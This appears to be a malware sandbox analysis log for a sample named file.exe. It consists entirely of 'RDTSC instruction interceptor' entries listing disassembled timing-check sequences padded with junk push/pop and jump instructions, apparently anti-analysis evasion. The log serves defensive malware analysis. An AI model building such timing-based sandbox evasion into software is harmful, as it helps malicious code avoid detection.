Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E45F second address: 118E46C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FB88452E0B8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E73C second address: 118E741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E8A1 second address: 118E8A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118ECC7 second address: 118ECD7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB884CB2346h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118ECD7 second address: 118ECDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118ECDB second address: 118ECE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118ECE7 second address: 118ECEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F2CE second address: 118F2D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F2D2 second address: 118F300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB88452E0C9h 0x0000000f jmp 00007FB88452E0BBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F300 second address: 118F30E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB884CB2346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F30E second address: 118F314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195141 second address: 1195146 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195146 second address: 1195178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB88452E0B6h 0x0000000a pop esi 0x0000000b jmp 00007FB88452E0BAh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007FB88452E0C6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195178 second address: 119517E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119517E second address: 1195193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB88452E0BEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195193 second address: 119519B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119519B second address: 11951AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB88452E0BBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193E9B second address: 1193ECF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB884CB2346h 0x00000008 jmp 00007FB884CB2352h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FB884CB2352h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193ECF second address: 1193ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193ED3 second address: 1193EF5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB884CB2353h 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119402B second address: 1194048 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB88452E0BFh 0x00000007 jnl 00007FB88452E0B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194048 second address: 119404C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119459D second address: 11945A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11948AC second address: 11948BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a jc 00007FB884CB234Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11948BE second address: 11948C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11948C2 second address: 11948CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FB884CB2346h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194A1A second address: 1194A1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194A1F second address: 1194A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB884CB2346h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194B8A second address: 1194B94 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB88452E0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11064CF second address: 11064D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11064D8 second address: 11064E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11064E3 second address: 11064E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11064E7 second address: 1106500 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jo 00007FB88452E0BAh 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106500 second address: 1106504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CA58 second address: 119CA5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CA5C second address: 119CA86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB884CB2358h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jne 00007FB884CB2346h 0x00000010 jnl 00007FB884CB2346h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C5FA second address: 119C61F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FB88452E0CAh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C61F second address: 119C649 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FB884CB2361h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C649 second address: 119C653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FB88452E0B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C653 second address: 119C670 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB884CB2353h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F421 second address: 119F44B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB88452E0C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jns 00007FB88452E0B6h 0x00000010 pop edx 0x00000011 jnp 00007FB88452E0BEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F44B second address: 119F456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F5B2 second address: 119F5C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FB88452E0B6h 0x0000000a jg 00007FB88452E0B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2F85 second address: 11A2F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7698 second address: 11A76A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB88452E0C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A76A4 second address: 11A76C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB884CB234Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB884CB234Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A76C0 second address: 11A76C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A76C4 second address: 11A76D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FB884CB2346h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A76D8 second address: 11A76F0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB88452E0B6h 0x00000008 jnl 00007FB88452E0B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007FB88452E0B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A69A6 second address: 11A69AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6F67 second address: 11A6F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007FB88452E0C1h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A721C second address: 11A7246 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB884CB2356h 0x00000007 jmp 00007FB884CB234Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7246 second address: 11A724C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADDBE second address: 11ADDD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FB884CB234Ah 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f jp 00007FB884CB234Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADDD5 second address: 11ADDFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FB88452E0C2h 0x0000000b jmp 00007FB88452E0C2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADDFF second address: 11ADE03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC85C second address: 11AC860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC860 second address: 11AC87C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB884CB2350h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FB884CB234Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC9D3 second address: 11AC9D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152E6B second address: 1152E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152E6F second address: 1152E73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACE45 second address: 11ACE54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007FB884CB2346h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACE54 second address: 11ACE58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACE58 second address: 11ACE5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACE5E second address: 11ACE7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FB88452E0C9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACE7D second address: 11ACEAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB884CB234Dh 0x00000007 jbe 00007FB884CB2346h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB884CB2357h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD005 second address: 11AD027 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB88452E0C9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD027 second address: 11AD02F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD02F second address: 11AD058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB88452E0B6h 0x0000000a jmp 00007FB88452E0C2h 0x0000000f jns 00007FB88452E0B6h 0x00000015 popad 0x00000016 popad 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B483D second address: 11B4843 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4B42 second address: 11B4B4F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007FB88452E0B6h 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4E32 second address: 11B4E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jc 00007FB884CB2348h 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4E3F second address: 11B4E44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4E44 second address: 11B4E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB884CB2357h 0x00000009 jmp 00007FB884CB234Ah 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jl 00007FB884CB234Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5167 second address: 11B516C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5C33 second address: 11B5C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB884CB2346h 0x0000000a jno 00007FB884CB2346h 0x00000010 popad 0x00000011 jne 00007FB884CB2360h 0x00000017 jmp 00007FB884CB2358h 0x0000001c push edx 0x0000001d pop edx 0x0000001e push edi 0x0000001f push ecx 0x00000020 push edi 0x00000021 pop edi 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 pop ecx 0x00000025 push eax 0x00000026 push edx 0x00000027 ja 00007FB884CB2346h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5EFD second address: 11B5F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAB5C second address: 11BAB60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDBAC second address: 11BDBBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDBBA second address: 11BDBBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDD7B second address: 11BDD90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FB88452E0BEh 0x0000000d push edi 0x0000000e pop edi 0x0000000f jns 00007FB88452E0B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDD90 second address: 11BDD99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDD99 second address: 11BDD9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE028 second address: 11BE037 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FB884CB2346h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE190 second address: 11BE1A6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB88452E0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b jg 00007FB88452E0C2h 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE4D0 second address: 11BE4F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FB884CB2346h 0x00000009 jmp 00007FB884CB2352h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5597 second address: 11C559D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C559D second address: 11C55AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 je 00007FB884CB236Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C55AE second address: 11C55C4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB88452E0B6h 0x00000008 jnl 00007FB88452E0B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C56F3 second address: 11C56FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FB884CB2346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C56FD second address: 11C5720 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FB88452E0BAh 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB88452E0BFh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5720 second address: 11C5737 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB884CB2352h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5CA9 second address: 11C5CAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C61AA second address: 11C61B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB884CB2346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C61B4 second address: 11C61BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6B94 second address: 11C6B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
